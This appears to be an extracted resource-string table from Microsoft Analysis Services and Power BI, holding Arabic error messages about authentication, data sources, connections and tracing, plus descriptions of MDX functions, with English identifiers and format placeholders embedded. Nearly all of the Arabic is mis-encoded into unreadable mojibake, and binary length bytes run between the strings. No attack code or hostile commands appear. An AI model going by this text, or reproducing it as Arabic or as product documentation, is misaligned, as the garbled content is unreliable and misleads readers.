'D1,'! *ECJF 'D%5/'1 'DE7DH(. H(5A) 9'E) JECFC *-/J/ /9E %5/'1 TLS AJ .J'1'* 'DE3*916 #H 3,D Windows.�D' J*E /9E H69 4G'/) 9EJD H"E,GHD" AJ FA3 3D3D) 'D'*5'D.  JECFC %E' 'DE5'/B) (-3'( "E,GHD" #H '3*./'E 4G'/) 'D9EJD. DDE*'(9) #2D %-/I G0G 'D.5'&5 +E -'HD E1) #.1I.GJ*7D( 'D'F*-'D GHJ) E3*./E Windows. 'DGHJ) 'D-'DJ) DJ3* E3*./E Windows.]*E '3*./'E 'D#E1 ExtAuth (4CD :J1 5-J-.  JD2E *4:JDG C#HD #E1 HD' JECF *4:JDG %D' E1) H'-/).1'D#E1 ExtAuth D' J/9E E.77 'DE5'/B) '%{scheme/}'.,'D#E1 ExtAuth D' J/9E 9F51 ExtAuthInfo A'1:.PD' JECF *4:JD 'D#E1 ExtAuth %D' (H'37) E3$HD .'/E #H 96H JE*DC 'D/H1 ActAsUsers.MJ*7D( %D:'! %1A'B B'9/) (J'F'* AJ Windows Azure Analytics H,H/ #0HF'* %/'1J).QJ*7D( F3. B'9/) 'D(J'F'* '-*J'7JK' AJ Windows Azure Analytics H,H/ #0HF'* %/'1J).K**7D( '3*9'/) B'9/) 'D(J'F'* AJ Windows Azure Analytics H,H/ #0HF'* %/'1J).2*4*ED 'D4G'/) 9DI .'5J) DH:'1J*E *,2&) :J1 E9*E/).UG0G 'D4G'/) :J1 5'D-). A*1) 5D'-J) 'D4G'/) .'1, F7'B 'DE1,9 'DE5/B 'D0J #5/1 'D4G'/).fJ-*HJ 'D#E1 "E2'EF)" 9DI SynchronizeFromStorage=FilteredShardedData DCF B'&E) 'DEB'79 'D.'5) (G A'1:).^J-*HJ 'D#E1 "E2'EF)" 9DI SynchronizeFromStorage=FilteredShardedData DCF *E *-/J/ TableId A'1:.jJ-*HJ 'D#E1 "E2'EF)" 9DI SynchronizeFromStorage=FilteredShardedData DCF *E *-/J/ B'&E) PartitionIds A'1:).mD' JECFC *-/J/ *.7J7 'D#,2'! %D' %0' C'F 'D#E1 "E2'EF)" J-*HJ 9DI SynchronizeFromStorage=FilteredShardedData.*'D#E1 ExtAuth E-,H2 DD'3*./'E AJ 'DE3*B(D.6EJ2) *.HJD 'DBF') 'D"EF) E-,H2) DD'3*./'E AJ 'DE3*B(D.BD' JECF *FAJ0 #E1 DBCC %D' (H'37) E3$HDJ B'9/) 'D(J'F'* #H 'D.'/E.X#+F'! 'D*-BB EF 'D*H',/ AJ '*5'D 6EF 'DF7'B AD' JCHF 'DC'&F '%{strObjectName/}' E$EFK'.R'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F D*9/JD B'9/) 'D(J'F'* '%{strDatabase/}'.dJ,( #F JCHF 'DE3*./E '%{pii_strUser/}' E3$HD'K DB1'!) (J'F'* *91JA B'9/) 'D(J'F'* '%{strDatabase/}'.R'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F D*-/J+ B'9/) 'D(J'F'* '%{strDatabase/}'.PA�#E1 DBCC API G0' E.55 DD'3*./'E 6/ BH'9/ 'D(J'F'* 'D*J D' *3*./E %9/'/ TabularMetadata D.'5J) StorageEngineUsed. H*3*./E B'9/) 'D(J'F'* 'DE-//) BJE) StorageEngineUsed D@ TabularMetadata. 'D1,'! '3*./'E DBCC API (/JD.qD' JECF *4:JD #E1 ExtAuth (H'37) E3*./E E,GHD J,( *-/J/ E3*./E ('9*('1G E3$HD 'D.'/E #H 96HK' AJ /H1 ActAsUsers.gA4D *3,JD 'D/.HD F81K' D9/E 'D9+H1 9DI ECHF E3*./NE DG0' 'D:16 (adal.dll) 9DI 'DCE(JH*1 #H A4D 'D*-EJD.�*E 'C*4'A E4CD) *#EJF :J1 E*HB9). DE J*E *#EJF B'9/) 'D(J'F'* '%{strObjectName/}' (4CD EF'3( AJ H69 'DC*'() .D'D 9EDJ) ImageSave 'D*DB'&J).L'DEHB9 '%{strURL/}' DJ3 E,'D'K A19JK' DE91QA 'DEH1/ (.5'&5 E5/1 'D(J'F'*).!A4D 'D'*5'D J1,I %9'/) 'DE-'HD).�J-*HJ 'D7D( %DI Analysis Services 9DI E,EH9) 5AHA. D#3('( **9DB ('D#E'F D' JO3E- (E,EH9'* 'D5AHA 9F/ %,1'! 'D'*5'D (H'37) E3*./E E,GHD.TA4D 'D'*5'D D#F (J'F'* '9*E'/ 'DE3*./E E7DH() H:J1 E3EH- (H',G) E3*./E *3,JD 'D/.HD.AA4D *-DJD F8'E E,EH9) PowerBI D#F '3*,'() 'D.'/E C'F* 7HJD) ,/K'.AA4D *-DJD F8'E E,EH9) PowerBI (3(( *F3JB '3*,'() 'D.'/E (4CD .7#.IA4D 'D'*5'D (@ URL '%{strURL/}' #+F'! E-'HD) '3*/9'! *-DJD F8'E 'DE,EH9).V*901 %,1'! 'D'*5'D: E5/1 'D(J'F'* 'D*'DJ DJ3 .'/E Power BI E91HA: '%{strDataSource/}'.C*901 *#3J3 'D'*5'D: DE J*E *F3JB .'5J) EHA1 GHJ) PowerBI (4CD 5-J-.J*901 *#3J3 'D'*5'D: 3D3D) 'D'*5'D D' *6E E9DE'* AAD DEHA1 'DGHJ) 'DE7DH().{*901 %,1'! 'D'*5'D: 'F*G* 5D'-J) (J'F'* 'D'9*E'/ 'DE.2F) E$B*K' #H *E *-/J+ CDE) 'DE1H1. 'D1,'! %9'/) %/.'D (J'F'* '9*E'/C.BA4D 'D'*5'D (@ URL '%{strURL/}' #+F'! E-'HD) 'C*4'A (J&'* PowerBI.9A4D (-+ FB'7 FG'J) .DAJ'* PowerBI (3(( *F3JB '3*,'() .7#.AnalysisServicesServerInput.EGE) E9'D,) */AB'* Microsoft Analysis ServicesMSMDPPE9'D,) 'DB3E
E9'D,) 'D(O9/*/1J( FEH0, ,E9 'D(J'F'*/B) FEH0, ,E9 'D(J'F'*'3*9D'E ,E9 'D(J'F'*E9'D,) 'DB3E
E9'D,) 'D(O9/*/1J( FEH0, ,E9 'D(J'F'*/B) FEH0, ,E9 'D(J'F'*'3*9D'E ,E9 'D(J'F'*D*E* EH',G) 9// .'7& EF 'D%/.'D'*. 'DE*HB9 GH #F JH,/ %/.'D H'-/ AB7.&DE J*E *9JJF 3D3D) 'D'*5'D %DI 'DE+JD.DE J*E *9JJF E1,9 'DC'&F."DE J*E *9JJF '3*9D'E ,E9 'D(J'F'*.DE J*E *9JJF '3E 'DC*'DH,."DE J*E *9JJF E91QA B'9/) 'D(J'F'*.DE J*E *9JJF E91QA (FJ) 'D,E9.(DE J*E *9JJF '3*9D'E'* 1A9 ,E9 'D(J'F'*.6DE J*E -A8 '3*9D'E'* 1A9 ,E9 'D(J'F'* ('D*F3JB 'D5-J-./B) ,E9 'D(J'F'*'3*9D'E ,E9 'D(J'F'*D' JHA1 'DECHF #H5'A 1E2 'D.7#.3J,( #F J-*HJ 9EH/ 'D%/.'D 'DE-// 9DI (J'F'* EA1H2)..'D9EDJ) 'DE7DH() :J1 E9*E/) (H'37) G0' 'DECHF.;FH9 (J'F'* 'D9EH/ '%{column/}' :J1 E9*E/ (H'37) G0' 'DECHF.�%F G0' 'DECHF J/9E AB7 '3*9D'E'* PREDICTION JOIN D,E9 'D(J'F'* 'D*J *E *FAJ0G' EB'(D 'DFEH0, 'DG/A 9DI 'D(J'F'* 'D*J AJ E,EH9) 5A 'D*/AB.4E9'D,) .7 'D#F'(J( DD#(9'/ 'D#5D-'D*'(9) :J1 E9*E/).9D'E) EH1/ 'D/H'D.MJ-HD E,EH9) #H E,EH9'* %DI 5AJA H'-/ DD'3*./'E AJ /'D) E91A) (H'37) 'DE3*./E.0J$/J %DI %1,'9 'D(O9/ 'D0J J-*HJ 9DI E3*HI E-//..J$/J %DI %1,'9 'D(O9/ 'D0J J-*HJ 9DI 96H E-//.6J$/J %DI %1,'9 'D(O9/ 'D0J J-*HJ 9DI *3D3D GJCDJ E-//.ZJ$/J %DI %1,'9 'D(O9/ 'D0J J*E *-/J/ EH69G 'DE3*F/ %DI 'D5A1 6EF 'DEC9( (H'37) *9(J1 1BEJ.7J$/J %DI %1,'9 'D(O9/ 'D0J J*E *-/J/ '3EG (H'37) 3D3D).*J$/J %DI %1,'9 'D*3D3D 'DGJCDJ D(O9/ E-//.+J$/J %DI %1,'9 'D*3D3D 'DGJCDJ DE3*HI E-//.J$/J %DI %1,'9 E3*HI 96H.ZJ$/J %DI %1,'9 'DE3*HI 'D0J J*E *-/J/ EH69G 'DE3*F/ %DI 'D5A1 AJ 'DEC9( (H'37) *9(J1 1BEJ.>J$/J %DI %1,'9 'DE3*HI 'D0J J*E *-/J/ '3EG (H'37) *9(J1 3D3D).UJ$/J %DI %1,'9 'DBJE) TRUE %0' HO,/ C'&F'F E*B'1F'F E*C'A&'F H%D' A3J*E %1,'9 FALSE.eJ$/J %DI %1,'9 TRUE %0' C'F #-/ 'D#96'! 'DE-//JF 9F51K' #5D' K D96H E-// ".1 H%D' A3J*E %1,'9 FALSE.]J$/J %DI %1,'9 TRUE %0' C'F 'D*9(J1 'D0J *E *BJJEG GH BJE) .DJ) A'1:) H%D' 3J*E %1,'9 FALSE.PAcJ$/J %DI %1,'9 TRUE %0' C'F C'F #-/ 'D#96'! 'DE-//JF EH,H/K' AJ %F4'! E-// H%D' A3J*E %1,'9 FALSE.VJ$/J %DI %1,'9 TRUE %0' C'F #-/ 'D#96'! 'DE-//JF 96HK' 71AJK' H%D' A3J*E %1,'9 FALSE.^J$/J %DI %1,'9 TRUE %0' C'F #-/ 'D#96'! 'DE-//JF *'(9K' D96H E-// ".1 H%D' A3J*E %1,'9 FALSE./J$/J %DI %1,'9 'D9F51 'D#5D D96H AJ E3*HI E-//.HJ$/J %DI %1,'9 'D9F51 'D#5D D96H 9DI (9/ E3'A) E-//) AJ 'D*3D3D 'DGJCDJ.9J$/J %DI %1,'9 'D*'(9 'D#.J1 (JF *H'(9 96H AJ E3*HI E-//.PJ$/J %DI %1,'9 'D96H 'D*'(9 (FA3 'DEH69 'DF3(J *-* 96H #5D C'D96H 'D*'(9 'DE-//.0J$/J %DI %1,'9 'D96H 'D-'DJ E9 (O9/ #+F'! *C1'1.HJ$/J %DI %1,'9 96H (J'F'* J*E %F4'$G (H'37) 'DF8'E HEB*1F (96H :J1 71AJ.,J$/J %DI %1,'9 'D96H 'D'A*1'6J D*3D3D GJCDJ.*J$/J %DI %1,'9 'D96H 'D'A*1'6J D(O9/ E9JF.&J$/J %DI %1,'9 'D*'(9 'D#HD D96H E-//.*J$/J %DI %1,'9 'D*'(9 'D#HD D#5D 96H E-//..J$/J %DI %1,'9 96H J3*+FJ 'DBJEN EF (O9/ E-//.#J$/J %DI %1,'9 96H EF E,EH9) E-//).ZJ$/J %DI %1,'9 'D96H 'D0J JCHF 9//K' E-//K' EF 'DEH'69 'D3'(B 9F 96H E-// 9(1 (O9/ 'D96H.'J$/J %DI %1,'9 'D*'(9 'D#.J1 D96H E-//.+J$/J %DI %1,'9 'D*'(9 'D#.J1 D#5D 96H E-//.]J$/J %DI %1,'9 'D96H 'D0J JCHF 9//K' E-//K' EF 'DEH'69 'D*J *#*J 9B( 96H E-// 9(1 (O9/ 'D96H.;J$/J %DI %1,'9 'D96H 'DE3'HJ D96H E-// AJ *3D3D GJCDJ E-//.>J$/J %DI %1,'9 'D96H 'D0J JCHF '3EG E-//K' (H'37) *9(J1 3D3D).?J$/J %DI %1,'9 'D96H 'D*'DJ AJ 'DE3*HI 'D0J J-*HJ 9DI 96H E-//.IJ$/J %DI %1,'9 'D*'(9 'D#HD (JF *H'(9 E3*HI E-// H'.*J'1JK' AJ 96H E-//.AJ$/J %DI %1,'9 96H EF A*1) 3'(B) AJ 'DEH69 'DF3(J FA3G C96H E-//.J$/J %DI %1,'9 #5D 96H E-//.?J$/J %DI %1,'9 'D96H 'D3'(B AJ 'DE3*HI 'D0J J-*HJ 9DI 96H E-//.-J$/J %DI %1,'9 96H EF *9(J1 3D3D) (*F3JB MDX.eJ$/J %DI %1,'9 EBJ'3 5'D- AJ EC9( 8'G1J 9F 71JB %,('1 'D#(9'/ :J1 'DB'(D) DD*7(JB %DI #9DI E3*HI DG'.UJ$/J %DI %1,'9 BJE) E-3H() ('3*./'E H8JA) *,EJ9 EF'3() '3*F'/K' %DI FH9 *,EJ9 'D96H.@J$/J %DI %1,'9 'DBJE) 'DE*H37) D*9(J1 1BEJ *E *BJJEG 9(1 E,EH9).DJ$/J %DI %1,'9 *E1J1 'D-3'( 'D-'DJ DEC9( .'5 (3J'B 'D'3*9D'E 'DE-//.NJ$/J %DI %1,'9 BJE) *9(J1 MDX 1BEJ *E *BJJEG 9(1 *E1J1 'D-3'( 'DE-// DEC9( E'.PAJ/E, BJE) .DJ) A'1:) %DI 9//.<J$/J %DI %1,'9 '1*('7 3D3D*JF J*E *BJJEGE' 9(1 E,EH9) E9JF).sJ$/J %DI %1,'9 9// EF 'DE,EH9'* 'DE1*() AJ E,EH9) E9 'DBJ'E '.*J'1JK' (*6EJF E,EH9'* BJE E1*() A'1:) #H '3*+F'&G'.%J-3( 9// 'D#96'! AJ E,EH9) BJE E1*().2J-3( 9// E,EH9'* 'DBJE 'DE1*() AJ 'DE,EH9) 'DCDJ).J-3( 9// 'D#(9'/ AJ 'DEC9(.J-3( 9// 'DE3*HJ'* AJ 'D(O9/.^J$/J %DI %1,'9 'D*('JF 'DE4*1C D3D3D*JF *E *BJJEGE' 9(1 E,EH9) ('3*./'E 5J:) 'DE-*HI 'DEF-1A.^J$/J %DI %1,'9 'D*('JF 'DE4*1C D3D3D*JF *E *BJJEGE' 9(1 E,EH9) ('3*./'E 5J:) E-*HI :J1 EF-1A.+J$/J %DI %1,'9 9// E,EH9'* EEJ2) AJ E,EH9).?J$/J %DI %1,'9 BJE*JF 1BEJ*JF J*E *-/J/GE' (H'37) '.*('1 EF7BJ.MJ-3( 'D'F-/'1 'D.7J DE,EH9) HJ$/J %DI %1,'9 BJE) b AJ .7 'D'F-/'1 y = ax + b.MJ-3( 'D'F-/'1 'D.7J DE,EH9) HJ$/J %DI %1,'9 BJE) y AJ .7 'D'F-/'1 y = ax + b.EJ-3( 'D'F-/'1 'D.7J DE,EH9) HJ$/J %DI %1,'9 BJE) R�� (EC'A& 'D*-/J/).OJ-3( 'D'F-/'1 'D.7J AJ E,EH9) HJ$/J %DI %1,'9 BJE) a AJ .7 'D'F-/'1 y = ax + b.[J-3( 'D'F-/'1 'D.7J DE,EH9) E9JF) HJ$/J %DI %1,'9 'D'.*D'A 'DEB*1F (.7 'D'F-/'1 y = ax + b.QJ$/J %DI %1,'9 BJE) *9(J1 MDX *E *BJJEG' 9(1 EC9( ".1 E-// AJ FA3 B'9/) 'D(J'F'*.=J$/J %DI %1,'9 BJE) *9(J1 3D3D) *E *BJJEG' 9(1 EC9( ".1 E-//.;J$/J %DI %1,'9 #B5I BJE) D*9(J1 1BEJ *E *BJJEG' 9(1 E,EH9).AJ$/J %DI %1,'9 'DBJE) 'DE*H37) D*9(J1 1BEJ *E *BJJEG' 9(1 E,EH9).;J$/J %DI %1,'9 #/FI BJE) D*9(J1 1BEJ *E *BJJEG' 9(1 E,EH9).1J$/J %DI %1,'9 BJE) 9// *1*J(J EB*1F (E3*HI E-//.?J$/J %DI %1,'9 BJE) *9(J1 1BEJ *E *BJJEG' 9(1 FEH0, ,E9 (J'F'*.RJ$/J %DI %1,'9 'D*1*J( #-'/J 'D%3F'/ DE,EH9) BJE A19J) E1*() AJ E,EH9) #C(1 E-//)._J$/J %DI %1,'9 BJE) *E %F4'$G' (H'37) %8G'1 BJE A1H9 96H E-// ('3*./'E 'DEO9'ED 'D#-'/J 'DE-//.}J$/J %DI %1,'9 'D'F-1'A 'DE9J'1J D*9(J1 1BEJ J*E *BJJEG 9(1 E,EH9) ('3*./'E E-*HI :J1 EF-1A. ('3E E3*9'1 DD'F-1'A 'DE9J'1J.)qJ$/J %DI %1,'9 'D'F-1'A 'DE9J'1J D*9(J1 1BEJ J*E *BJJEG 9(1 E,EH9) ('3*./'E E-*HI EF-1A. ('3E E3*9'1 D@ StdevP.)\J$/J %DI %1,'9 'D'F-1'A 'DE9J'1J D*9(J1 1BEJ *E *BJJEG 9(1 E,EH9) ('3*./'E E-*HI :J1 EF-1A.XJ$/J %DI %1,'9 'D'F-1'A 'DE9J'1J D*9(J1 1BEJ *E *BJJEG 9(1 E,EH9) ('3*./'E E-*HI EF-1A.#J$/J %DI %1,'9 BJE) EF *9(J1 3D3D).;J$/J %DI %1,'9 E,EH9 *9(J1 1BEJ *E *BJJEG 9(1 E,EH9) E-//).J$/J %DI %1,'9 BJE) 96H E-//.PAMJ$/J %DI %1,'9 A1B *9(J1 1BEJ *E *BJJEG 9(1 E,EH9) ('3*./'E E-*HI :J1 EF-1A.eJ$/J %DI %1,'9 A1B *9(J1 1BEJ *E *BJJEG 9(1 E,EH9) ('3*./'E E-*HI :J1 EF-1A. ('3E E3*9'1 D/'D) Var.)bJ$/J %DI %1,'9 A1B *9(J1 1BEJ *E *BJJEG 9(1 E,EH9) ('3*./'E E-*HI EF-1A. ('3E E3*9'1 D/'D) VarP.)IJ$/J %DI %1,'9 A1B *9(J1 1BEJ *E *BJJEG 9(1 E,EH9) ('3*./'E E-*HI EF-1A.-JFA0 H8JA) %1,'9 %D:'! E91A) (H'37) 'DE3*./E.GJ$/J %DI %1,'9 E,EH9) *E %F4'$G' (%6'A) #96'! E-3H(JF %DI E,EH9) E-//).UJ$/J %DI %1,'9 E,EH9) *-*HJ 9DI C'A) 'D#96'! AJ 'D(O9/ (E' AJ 0DC 'D#96'! 'DE-3H(JF.VJ$/J %DI %1,'9 E,EH9) *-*HJ 9DI C'A) 'D#96'! AJ 'DE3*HI (E' AJ 0DC 'D#96'! 'DE-3H(JF.=J$/J %DI %1,'9 E,EH9) (C'A) 'D9F'51 'D#5D D96H AJ E3*HI E-//.[J$/J %DI %1,'9 E,EH9) (C'A) 'D9F'51 'D#5D D96H AJ E3'A) E-//) AHB 'D96H AJ 'D*3D3D 'DGJCDJ."J$/J %DI %1,'9 E,EH9) *H'(9 'D96H.$J$/J %DI %1,'9 E,EH9) E91A) AJ E-H1.VJ$/J %DI %1,'9 9// E-// EF 'D9F'51 EF 'D,2! 'D3ADJ DE,EH9) H*5FJA 'DE,EH9) '.*J'1JK'.vJA12 E,EH9) HJ$/J %DI %1,'9 9// E-// EF 'D9F'51 'D3ADJ) 'D(9J/) 'D*J JCHF E,EH9G' 'D*1'CEJ F3() E&HJ) E-//) 9DI 'D#BD.qJA12 E,EH9) HJ$/J %DI %1,'9 9// E-// EF 'D9F'51 'D3AJD) 'D(9J/) H'D*J JCHF E,EH9G' 'D*1'CEJ BJE) E-//) 9DI 'D#BD.J$/J %DI %1,'9 A1H9 96H E'.&J$/J %DI %1,'9 EF*, 'D*B'79 DE,EH9*JF.sJ$/J %DI %1,'9 E,EH9) EF 'D*H'(9 D96H E9JF AJ E3*HI E9JF H*4ED '.*J'1JK' 'D*H'(9 AJ 'DE3*HJ'* 'D#.1I #H '3*+F'!G'.�J$/J %DI %1,'9 E,EH9) EF 'D*H'(9 D96H AJ E3'A) E9JF) (9J/K' AJ 'D*3D3D 'DGJCDJ H*4ED '.*J'1JK' 'D*H'(9 AJ 'DE3*HJ'* 'D#.1I #H '3*+F'!G'.NJ$/J %DI %1,'9 E,EH9) H%2'D) 'DE,EH9'* 'DA19J) 'DE*C11) EF E,EH9) #C(1 E-//).�J*FBD D#3AD AJ 'D#96'! AJ E,EH9) (EB/'1 E3*HI H'-/ #3AD 'DE3*HI 'D3ADI 'DEE+D AJ 'DE,EH9) #H %DI E3*HI H'-/ #3AD (O9/ E-// '.*J'1JK' (H'37) 'DAG13 'D.'5 (G 'DE3*F/ %DI 'D5A1 D96H EE+D AJ 'DE,EH9).�J*FBD D#3AD AJ #96'! E,EH9) (EB/'1 E3*HI H'-/ #3AD #/FI E3*HI 3ADJ EOE+D AJ 'DE,EH9) #H #3AD E3*HI '.*J'1J (EB/'1 E3*HI H'-/ D96H EE+D AJ 'DE,EH9).dJ*FBD D#3AD AJ #96'! -3'( E-// DD#96'! 'D3ADJJF AJ E,EH9) 9F/ E3*HI E-// (EB/'1 E3*HI H'-/ DD#3AD.\J*FBD D#3AD AJ -3'( E-// DD#96'! 'D9DHJJF DE,EH9) 9F/ E3*HI E-// (EB/'1 E3*HI H'-/ DD#3AD.MJ*FBD D#3AD .D'D 'D#96'! @ AJ E,EH9) E-//) @ 'DEH,H/JF AJ E,EH9) +'FJ) E-//).�J*FBD D#3AD .D'D 'D#96'! @ AJ E,EH9) E-//) @ 'DEH,H/JF AJ E,EH9) +'FJ) E-//) EE' J$/J D*BJJ/ 'DE,EH9) 'DF'*,) %DI 9// E-// EF 'D#96'! 'D3ADJJF 'D(9J/JF.�J*FBD D#3AD .D'D 'D#96'! @ AJ E,EH9) E-//) @ 'DEH,H/JF AJ E,EH9) +'FJ) E-//) EE' J$/J D*BJJ/ 'DE,EH9) 'DF'*,) %DI 9// E-// EF 'D#96'! 'D3ADJJF 'D(9J/JF.FJ*FBD D#9DI .D'D 'D#96'! @ AJ E,EH9) E-//) @ 'DEH,H/JF 9F/ E3*HI E-//.MJ*FBD D#9DI .D'D 'D#96'! @ AJ E,EH9) E-//) @ 'DEH,H/JF AJ E,EH9) +'FJ) E-//).9J(-+ 9F 'DA'1B (JF E,EH9*JF HJ-*A8 ('D*C1'1'* '.*J'1JK'.EJ$/J %DI %1,'9 E,EH9) EF 'DE,EH9'* 'DA19J) EF 9F'51 'D(O9/ 'DE3*.1,).CJ$/J %DI %1,'9 'DE,EH9) 'DF'*,) 9F *5AJ) E,EH9) E3*F/) %DI 417 (-+.TJ7(B E,EH9) 9DI CD 96H AJ E,EH9) #.1I HJ1(7 (JF 'DE,EH9'* 'DF'*,) 9(1 'D'*-'/ (JFG'.4J$/J %DI %1,'9 #HD 9// E9JF DD9F'51 AJ E,EH9) E-//).SJ1*( #96'! E,EH9) E-//) AJ *3D3D GJCDJ (*1*J( 7(J9J #H (*1*J( AHB 7(J9J '.*J'1JK'.>J$/J %DI %1,'9 *B'79 E,EH9*JF H'D'-*A'8 ('D*C1'1'* '.*J'1JK'.?J$/J %DI %1,'9 E,EH9) EF 'D#96'! 'D*J *3(B 96HK' E-//K' H*4EDG.1J$/J %DI %1,'9 E,EH9) (C'A) 'D'96'! AJ (O9/ E-//.7J$/J %DI %1,'9 E,EH9) C'A) 'D#96'! AJ *3D3D GJCDJ E-//.:J$/J %DI %1,'9 E,EH9) (C'A) 'D#96'! AJ E3*HI E-// AJ (O9/.pJ$/J %DI %1,'9 E,EH9) EF 'D#96'! EF 'DE3*HI "'D4G1" AJ 'D(O9/ "'DHB*" (/!K' EF 'DA*1) 'D#HDI H'F*G'!K (96H E-//.QJ$/J %DI %1,'9 E,EH9) *-*HJ 9DI 96H H'-/ J3*F/ %DI *9(J1 3D3D) J-*HJ 9DI '3E 96H.ZJ$/J %DI %1,'9 EF*, E*B'79 EF E,EH9*JF #H #C+1 CE,EH9) H'-/) E9 '3*+F'! 'D#96'! 'DA'1:JF.OJ1*( 'D#96'! CE,EH9) E-//) HJBHE '.*J'1JK' ('D'-*A'8 ('D*3D3D 'DGJCDJ #H C31G.aJ$/J %DI %1,'9 E,EH9) EF 'D#96'! ('DA*1'*) EF E3*HI E-// (/!K' EF 'D96H 'D#HD H'F*G'!K (96H E-//.rJ$/J %DI %1,'9 E,EH9) EF 'D#96'! EF 'DE3*HI "1(9 'D3F)" AJ (O9/ "'DHB*" (/!K' EF 'DA*1) 'D#HDI H'F*G'!K (96H E-//.BJ$/J %DI %1,'9 E,EH9) EF 'D*H'(9 D96H E-// (E' AJ 0DC 'D96H FA3G.PJ$/J %DI %1,'9 E,EH9) *E %F4'$G' (H'37) %2'D) 'D#96'! 'DE-3H(JF EF E,EH9) E-//).PA+J(FJ E,EH9) EF *9(J1 3D3D) E-// (*F3JB MDX.7J$/J %DI %1,'9 E,EH9) A19J) EF 'D#96'! EF E,EH9) E-//).=J$/J %DI %1,'9 E,EH9) A19J) EF 'D#96'! EF FG'J) E,EH9) E-//).$'D*(/JD (JF -'D) 'D*FBD (JF 'D#96'!.eJ$/J %DI %1,'9 9// 9F'51 E9JF EF #9DI #96'! AJ E,EH9) E-//) H'DBJ'E '.*J'1JK' (*1*J( 'DE,EH9) #HD'K.UJA12 E,EH9) HJBHE (%1,'9 #9DI 9F'51 JCHF E,EH9G' 'D*1'CEJ F3() E&HJ) E-//) 9DI 'D#BD.OJA12 E,EH9) HJBHE (%1,'9 #9DI 9F'51 JCHF E,EH9G' 'D*1'CEJ BJE) E-//) 9DI 'D#BD.[JBHE (%1,'9 E,EH9) *E %F4'$G' (H'37) '*-'/ E,EH9*JF H'D'-*A'8 '.*J'1JK' ('D#96'! 'DEC11JF.�JBHE (%1,'9 E,EH9) *E %F4'$G' (H'37) *,EJ9 'D#96'! 'DA19JJF /JF'EJCJK' AJ E,EH9) E-//) H'3*./'E FE7 D'3E 'D96H 'D#5D AJ 'DE,EH9) 'DF'*,) '.*J'1JK'.oJBHE (%1,'9 E,EH9) EF 'D#96'! EF 'DE3*HI "'D#3(H9" AJ 'D(O9/ "'DHB*" (/!K' EF 'DA*1) 'D#HDI H'F*G'!K (96H E-//.mJBHE (%1,'9 E,EH9) EF 'D#96'! EF 'DE3*HI "'D3F)" AJ 'D(O9/ "'DHB*" (/!K' EF 'DA*1) 'D#HDI H'F*G'!K (96H E-//.KJBHE (%1,'9 BJE) D*9(J1 3D3D) MDX *E *BJJEG' 9(1 *E1J1 'D-3'( 'DE-// DEC9(.J/E, BJE) .DJ) A'1:) %DI 3D3D).?JBHE (%1,'9 3D3D) E*3D3D) 9F 71JB *BJJE *9(J1 3D3D) 9(1 E,EH9).FJBHE (%1,'9 BJE) H'-/) EF BJE*J 3D3D) *E *-/J/GE' (H'37) '.*('1 EF7BJ.BJBHE (%1,'9 3D3D) (*F3JB *9(J1'* E*9//) 'D#(9'/ (MDX) EF 96H E9JF.JBHE (%1,'9 '3E D(O9/ E-//.JBHE (%1,'9 '3E 96H E-//.JBHE (%1,'9 '3E E3*HI E-//.!JBHE (%1,'9 '3E *3D3D GJCDJ E-//.0JBHE (%1,'9 3D3D) *-*HJ 9DI BJE) .'5J) 96H E-//. J(FJ 3D3D) (*F3JB MDX EF E,EH9).3JBHE (%1,'9 3D3D) (*F3JB MDX EF E,EH9) A19J) E-//).+JBHE (%1,'9 'D'3E 'DA1J/ D*3D3D GJCDJ E-//.$JBHE (%1,'9 'D'3E 'DA1J/ D(O9/ E-//.%JBHE (%1,'9 'D'3E 'DA1J/ DE3*HI E-//.#JBHE (%1,'9 'D'3E 'DA1J/ D96H E-//.4JBHE (%1,'9 '3E 'DE,'D H'3E 'DE3*./E DD'*5'D 'D-'DJ.@JBHE (%1,'9 'DE,EH9) 'DA19J) 'D-'DJ) EF E,EH9) #C(1 #+F'! *C1'1.#JBHE (%1,'9 E,EH9) EF E,EH9) E-//).1J(FJ E,EH9) A19J) EF *9(J1 3D3) E-//) (*F3JB MDX. PA                                                 PA6*E '3*D'E %9D'E EF E+JD SQL Server DD,/HD '%{table/}'.2*E '3*D'E %9D'E EF E5/1 'D(J'F'* '%{datasource/}'.$7D( G0' 'D#E1 %D:'! 'D9EDJ'* 'D#.1I.@A4D* 9EDJ) B1'!) %9D'E SQL Server. 1E2 -'D) **(9 SQL: %d{code/}.AA4D* 9EDJ) B1'!) %9D'E 'D*-BB EB'(D E5/1 (J'F'* '%{datasource/}'.mA4D* 9EDJ) 'DB1'!) DD*-BB EF 'D%9D'E EB'(D E5/1 'D(J'F'* '%{datasource/}' D#F 'DF*J,) D' *-*HJ 9DI #J #9E/).L*E* EH',G) 1BE 9EH/ (JFE' DE JCF *BJJE *91JA 'D**(9 6EF F7'B 'DBJE 'DEB(HD).K*E* EH',G) 1BE -/+ (JFE' DE JCF *BJJE *91JA 'D**(9 6EF F7'B 'DBJE 'DEB(HD).*'3E 'DEDA %{filename/} #7HD EF -/ 'DF8'E.]D' JECF 'D%D-'B (EDA 'D**(9 '%{filename/}' D#F 'DEDA DE J*E %FG'$G (4CD 3DJE HB/ JCHF *'DAK'.[D' JECF 'D%D-'B (EDA 'D**(9 '%{filename/}' D#F 'DEDA H5D %DI -/ 'D-,E 'DE3EH- (G #H *,'H2G.(*E %FG'! *91JA 'D**(9 (H'37) 9EDJ) #.1I."D' JECF *-HJD BJE) 'D*'1J. H'DHB*.PA]JH,/ 9/E *H'AB AJ 'DFH9 AJ E9'ED 9'ED 'D*5AJ) (9DI 3(JD 'DE+'D E9'ED LIKE E9 9EH/ 9// 5-J-).!4,1) 9'ED *5AJ) 'D**(9 :J1 5'D-).%EDA *91JA 'D**(9 '%{filename/}' *'DA.?'F*G* A*1) 5D'-J) 'D**(9 (*E ',*J'2 HB* 'D%JB'A 'DE-// DD**(9).fD' JECF 'D'4*1'C AJ **(9 ,D3) 'D9ED 'D'A*1'6J) (*B1J1 'D*B/E) D#F 'D'*5'D :J1 EB*1F (,D3) 9ED EH,H/)..�*E 1A6 %0F %F4'! 'D**(9 D#F 'DE3*./E DJ3 D/JG #0HF'* E3$HD .'/E #H D#F %0F 916 #-/'+ JECF 6E'FG EF BP(D 'D**(9 (H'37) 9'ED *5AJ) 'D**(9. D6E'F 'D#0HF'* 'DEF'3() D916 #-/'+ 'D**(9 '3*./E 9'ED *5AJ) D*-/J/ '3E B'9/) (J'F'* EH,H/) JECF DDE3*./E %/'1*G'.p*E 1A6 'D%0F D%F4'! **(9. JECF AB7 D#96'! /H1 E3$HD 'D.'/E %F4'! 